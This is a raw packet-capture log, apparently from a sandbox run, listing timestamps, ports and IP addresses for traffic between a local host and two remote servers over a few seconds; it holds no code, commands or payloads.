Oct 31, 2024 20:52:29.581437111 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.581469059 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.581505060 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.581520081 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.581537008 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.581557035 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.581921101 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.581958055 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.581980944 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.581989050 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.582045078 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.582237005 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.622798920 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.622809887 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.669650078 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.698700905 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.698769093 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.698805094 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.698817015 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.698826075 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.698896885 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.698905945 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.698935032 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.699246883 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.699259043 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.699271917 CET	49755	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.699275970 CET	443	49755	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.940138102 CET	49757	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.940171957 CET	443	49757	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:29.940349102 CET	49757	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.940716982 CET	49757	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:29.940731049 CET	443	49757	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:30.393558979 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.393579006 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.393589973 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.393615961 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.393621922 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.393635035 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.393641949 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.393667936 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.393709898 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.393740892 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.393802881 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.393805981 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.393825054 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.393879890 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.398659945 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.398668051 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.398674011 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.398766041 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.559823036 CET	443	49757	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:30.559920073 CET	49757	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:30.562777042 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.562788010 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.562793970 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.562846899 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.562911987 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.562947035 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.562952995 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.562994003 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.563021898 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.563029051 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.563076973 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.563782930 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.563898087 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.563918114 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.563930035 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.563960075 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.563961983 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.565493107 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.679871082 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.680017948 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.680022955 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.680039883 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.680046082 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.680052042 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.680058002 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.680095911 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.680124044 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.680857897 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.680865049 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.680876970 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.680922985 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.681160927 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.681166887 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.681178093 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.681216955 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.731895924 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.731901884 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.732969046 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.743400097 CET	49757	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:30.743422031 CET	443	49757	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:30.744574070 CET	443	49757	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:30.773929119 CET	49757	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:30.777620077 CET	49757	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:30.777672052 CET	443	49757	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:30.779230118 CET	49757	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:30.779238939 CET	443	49757	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:30.803922892 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.803930998 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.803942919 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.803992033 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.803997993 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.804126978 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.804307938 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.804313898 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.804325104 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.804342031 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.804356098 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.804373980 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.804380894 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.804421902 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.805124044 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.805143118 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.808171034 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.850126982 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.850136995 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.851142883 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.914387941 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.914427996 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.914433002 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.914494038 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.914525986 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.914532900 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.914589882 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.914879084 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.914885044 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.914901018 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.914937973 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.915483952 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.915529013 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.915592909 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.915596008 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.915596008 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.915600061 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.915613890 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.915620089 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.915632010 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.915641069 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.915663958 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.916394949 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.916476965 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:30.966584921 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.966592073 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:30.969413996 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.041094065 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.041101933 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.041107893 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.041155100 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.041161060 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.041172028 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.041179895 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.041227102 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.041418076 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.041464090 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.041470051 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.041513920 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.041517973 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.041532040 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.041538000 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.041591883 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.072051048 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:31.072134972 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:31.072268963 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:31.084059954 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.084067106 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.084079027 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.084145069 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.087877989 CET	49752	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:31.087901115 CET	443	49752	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:31.149137020 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.149158001 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.149169922 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.149250031 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.149255991 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.149269104 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.149269104 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.149319887 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.150255919 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.150263071 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.150269985 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.150315046 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.150346994 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.150353909 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.150366068 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.150404930 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.150686026 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.150691032 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.151061058 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.201303005 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.201314926 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.201325893 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.201384068 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.245248079 CET	49760	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:31.245280027 CET	443	49760	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:31.245436907 CET	49760	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:31.246642113 CET	49760	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:31.246658087 CET	443	49760	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:31.266000986 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.266014099 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.266082048 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.266096115 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.266148090 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.266158104 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.266191959 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.266417980 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.266458035 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.266494989 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.266508102 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.266668081 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.267115116 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.267167091 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.267177105 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.267215967 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.267222881 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.267288923 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.267298937 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.267337084 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.267473936 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.267492056 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.267539978 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.267606020 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.267647028 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.267663002 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.267674923 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.267714977 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.267729998 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.318514109 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.318547010 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.318563938 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.318587065 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.318639040 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.383210897 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.383233070 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.383270979 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.383285046 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.383331060 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.383335114 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.383348942 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.383362055 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.383384943 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.383397102 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.383398056 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.383424997 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.383450985 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.384628057 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.384681940 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.384691000 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.384696960 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.384735107 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.384747028 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.384759903 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.384768963 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.384780884 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.384794950 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.384809971 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.384836912 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.385065079 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.385116100 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.435632944 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.435669899 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.435698032 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.435698032 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.435718060 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.435728073 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.435762882 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.500570059 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.500582933 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.500595093 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.500606060 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.500617981 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.500668049 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.500768900 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.500807047 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.500827074 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.500840902 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.500863075 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.500873089 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.500891924 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.500901937 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.501602888 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.501615047 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.501626015 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.501652956 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.501665115 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.501912117 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.501924992 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.501935959 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.501970053 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.501982927 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.502063990 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.502101898 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.502106905 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.502137899 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.502161980 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.502182961 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.540371895 CET	443	49757	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:31.540597916 CET	443	49757	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:31.540684938 CET	49757	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:31.540685892 CET	49757	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:31.553051949 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.553076982 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.553096056 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.553106070 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.553111076 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.553168058 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.553172112 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.553184032 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.553224087 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.617902994 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.617955923 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.617981911 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.617991924 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.618001938 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.618015051 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.618031979 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.618032932 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.618042946 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.618046999 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.618060112 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.618072033 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.618098974 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.618752003 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.618782997 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.618796110 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.618798018 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.618818998 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.618830919 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.619106054 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.619116068 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.619126081 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.619148016 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.619170904 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.619174957 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.619188070 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.619198084 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.619215012 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.619234085 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:31.671565056 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:31.671588898 CET	80	49756	185.215.113.16	192.168.2.4
